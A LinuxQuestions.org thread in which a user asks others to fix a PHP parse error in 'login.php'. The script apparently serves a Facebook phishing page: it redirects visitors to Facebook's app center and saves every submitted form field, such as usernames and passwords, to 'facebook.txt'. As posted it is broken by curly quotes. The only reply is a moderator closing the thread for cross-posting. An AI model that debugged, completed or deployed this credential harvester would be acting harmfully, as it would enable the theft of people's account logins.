LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Newbie (https://www.linuxquestions.org/questions/linux-newbie-8/)
-   -   parse error problem (https://www.linuxquestions.org/questions/linux-newbie-8/parse-error-problem-4175463277/)

DButler12 05-24-2013 02:48 AM

parse error problem
 
Hey guys, I have made changes already to fix other parse errors but this one is puzzling me.

The error message reads:

"Parse error: syntax error, unexpected '=' in /home/a3076461/public_html/login.php on line 6"


The script is as follows:

<?php
header("Location: http://www.facebook.com/appcenter");
$handle = fopen(“facebook.txt”, “a”);
Foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>




Thanks again!

druuna 05-24-2013 02:50 AM

Cross-posting is against the LQ rules. Please post your thread in only one forum. Posting a single thread in the most relevant forum will make it easier for members to help you and will keep the discussion in one place.

Continue in the other/original thread: https://www.linuxquestions.org/quest...nt-4175463271/

Reported for closure.


All times are GMT -5. The time now is 04:11 AM.